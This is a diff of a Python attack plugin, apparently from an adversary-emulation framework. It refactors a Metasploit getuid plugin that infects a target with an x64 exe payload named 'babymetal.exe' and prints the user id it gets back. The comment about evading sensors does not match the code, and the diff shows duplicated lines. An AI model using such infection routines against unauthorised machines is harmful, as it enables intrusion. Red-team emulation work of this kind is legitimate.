|
|
@ -3,7 +3,6 @@
|
|
|
|
# A plugin to nmap targets slow motion, to evade sensors
|
|
|
|
# A plugin to nmap targets slow motion, to evade sensors
|
|
|
|
|
|
|
|
|
|
|
|
from plugins.base.attack import AttackPlugin, Requirement
|
|
|
|
from plugins.base.attack import AttackPlugin, Requirement
|
|
|
|
from app.metasploit import MetasploitInstant
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class MetasploitGetuidPlugin(AttackPlugin):
|
|
|
|
class MetasploitGetuidPlugin(AttackPlugin):
|
|
|
@ -33,18 +32,13 @@ class MetasploitGetuidPlugin(AttackPlugin):
|
|
|
|
payload_name = "babymetal.exe"
|
|
|
|
payload_name = "babymetal.exe"
|
|
|
|
target = self.targets[0]
|
|
|
|
target = self.targets[0]
|
|
|
|
|
|
|
|
|
|
|
|
metasploit = MetasploitInstant(self.metasploit_password,
|
|
|
|
self.metasploit.smart_infect(target,
|
|
|
|
attack_logger=self.attack_logger,
|
|
|
|
payload=payload_type,
|
|
|
|
attacker=self.attacker_machine_plugin,
|
|
|
|
outfile=payload_name,
|
|
|
|
username=self.metasploit_user)
|
|
|
|
format="exe",
|
|
|
|
|
|
|
|
architecture="x64")
|
|
|
|
|
|
|
|
|
|
|
|
metasploit.smart_infect(target,
|
|
|
|
uid = self.metasploit.getuid(target)
|
|
|
|
payload=payload_type,
|
|
|
|
|
|
|
|
outfile=payload_name,
|
|
|
|
|
|
|
|
format="exe",
|
|
|
|
|
|
|
|
architecture="x64")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
uid = metasploit.getuid(target)
|
|
|
|
|
|
|
|
print(f"UID: {uid}")
|
|
|
|
print(f"UID: {uid}")
|
|
|
|
|
|
|
|
|
|
|
|
return res
|
|
|
|
return res
|
|
|
|